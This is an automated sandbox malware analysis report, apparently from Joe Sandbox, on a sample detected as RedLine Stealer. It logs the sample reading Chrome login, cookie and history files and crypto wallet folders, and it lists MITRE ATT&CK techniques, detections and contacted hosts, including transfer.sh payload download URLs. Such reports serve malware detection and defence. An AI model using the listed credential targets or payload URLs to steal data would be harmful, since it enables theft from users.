Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Media History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Visited Links
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PreferredApps
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\previews_opt_out.db-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Shortcuts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Reporting and NEL-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Favicons
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\previews_opt_out.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Trusted Vault
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\LOCK
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\NetworkDataMigrated
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOCK
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Affiliation Database
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Reporting and NEL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Favicons-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Action Predictor-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Media History-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Affiliation Database-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Shortcuts-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Action Predictor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\

Source: Yara match	File source: 00000005.00000002.447067002.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6148, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.2.11.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.11.exe.42ca70.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.11.exe.25c0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.11.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000003.249782385.00000000025C2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.426722935.0000000000402000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.447067002.0000000002B74000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.447067002.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Web Service	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Native API	1 Scheduled Task/Job	311 Process Injection	11 Deobfuscate/Decode Files or Information	1 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	2 Obfuscated Files or Information	Security Account Manager	166 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	Automated Exfiltration	11 Encrypted Channel	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Scheduled Task/Job	Logon Script (Mac)	11 Registry Run Keys / Startup Folder	22 Software Packing	NTDS	581 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Non-Standard Port	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	2 Non-Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	3 Application Layer Protocol	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	311 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	32%	ReversingLabs	ByteCode-MSIL.Trojan.Mardom
file.exe	53%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Temp\123.exe	100%	Joe Sandbox ML
C:\Windows\Temp\1234.exe	100%	Joe Sandbox ML
C:\Windows\Temp\321.exe	100%	Joe Sandbox ML
C:\Windows\Temp\11.exe	100%	Joe Sandbox ML
C:\Windows\Temp\11.exe	35%	ReversingLabs
C:\Windows\Temp\11.exe	39%	Virustotal		Browse
C:\Windows\Temp\123.exe	19%	ReversingLabs	Win32.Trojan.Mardom
C:\Windows\Temp\123.exe	34%	Virustotal		Browse
C:\Windows\Temp\1234.exe	11%	ReversingLabs
C:\Windows\Temp\321.exe	11%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
3.2.321.exe.2d17ea4.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.11.exe.2700e67.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
3.2.321.exe.3f48dc0.4.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
3.2.321.exe.3e30d60.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.3.11.exe.2840000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
3.2.321.exe.3ea8da0.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.2.11.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1363295	Download File
3.2.321.exe.3e58d80.8.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://transfer.sh4	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://tempuri.org/Entity/Id11Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://james.newtonking.com/projects/json	0%	URL Reputation	safe
http://james.newtonking.com/projects/json	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id17Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id17Response	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
http://ns.ado/Idente	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ip-api.com	208.95.112.1	true	false	high
www.google.com	142.250.180.164	true	false	high
transfer.sh	144.76.136.153	true	false	high
pastebin.com	104.20.68.143	true	false	high

Contacted URLs

Name	Malicious	Reputation
http://pastebin.com/raw/aCZb2pjR	false	high
https://pastebin.com/raw/aCZb2pjR	false	high
http://transfer.sh/get/wADq8n/434123433142.exe	false	high
http://ip-api.com/json/?fields=query,status,countryCode,city,timezone	false	high
https://transfer.sh/get/fmUJTQ/Xlelcdl.dat	false	high
https://transfer.sh/get/wADq8n/434123433142.exe	false	high
https://transfer.sh/get/I12lIq/Cmvqi.bmp	false	high
https://transfer.sh/get/cAvBHQ/Ecjzqvnws.dat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tempuri.org/Entity/Id10Response	RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/chrome_newtab	RegSvcs.exe, 00000005.00000002.596268160.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AD3000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005BB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AB6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A38000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B97000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000002E59000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000003091000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A55000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	321.exe, 00000003.00000002.374973505.0000000002CE0000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.386698684.0000000003F48000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://transfer.sh4	123.exe, 00000002.00000002.365887055.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.374973505.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, 1234.exe, 00000004.00000002.379579196.00000000030F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RegSvcs.exe, 00000005.00000002.596268160.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AD3000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005BB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AB6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A38000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B97000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000002E59000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000003091000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A55000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	321.exe, 00000003.00000002.374973505.0000000002CE0000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.386698684.0000000003F48000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id11Response	RegSvcs.exe, 00000005.00000002.447067002.0000000002C04000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com?fr=crmas_sfpf	RegSvcs.exe, 00000005.00000002.596268160.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AD3000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005BB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AB6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A38000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B97000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000002E59000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000003091000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A55000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id22Response	RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.newtonsoft.com/json	123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	RegSvcs.exe, 00000005.00000002.596268160.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AD3000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005BB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AB6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A38000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B97000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000002E59000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000003091000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A55000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://ns.ado/Idente	RegSvcs.exe, 00000005.00000003.426098565.00000000012CB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	RegSvcs.exe, 00000005.00000002.596268160.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AD3000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005BB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AB6000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A38000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B97000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000002E59000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.447067002.0000000003091000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A55000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://james.newtonking.com/projects/json	321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com?fr=crmas_sfp	RegSvcs.exe, 00000005.00000002.596268160.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004AD3000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005BB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.512905857.0000000004A55000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	321.exe, 00000003.00000002.374973505.0000000002CE0000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.386698684.0000000003F48000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id19Response	RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id18Response	RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id17Response	RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	321.exe, 00000003.00000002.374973505.0000000002CE0000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.386698684.0000000003F48000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.newtonsoft.com/jsonschema	321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.nuget.org/packages/Newtonsoft.Json.Bson	123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13Response	RegSvcs.exe, 00000005.00000002.447067002.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	123.exe, 00000002.00000002.365887055.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.374973505.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, 1234.exe, 00000004.00000002.379579196.00000000030F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RegSvcs.exe, 00000005.00000002.596268160.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
104.20.68.143	pastebin.com	United States	13335	CLOUDFLARENETUS	false
185.159.130.81	unknown	Russian Federation	64439	ITOS-ASRU	false
103.173.229.190	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	true
46.173.218.172	unknown	Russian Federation	47196	GARANT-PARK-INTERNETRU	false
185.159.129.168	unknown	Russian Federation	64439	ITOS-ASRU	false
84.252.73.140	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	851280
Start date and time:	2023-04-21 01:02:04 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	43
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@52/71@8/9
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 68.1% (good quality ratio 64.4%) Quality average: 78.6% Quality standard deviation: 28.3%
HCA Information:	Successful, ratio: 94% Number of executed functions: 101 Number of non-executed functions: 174
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, SgrmBroker.exe, conhost.exe, svchost.exe
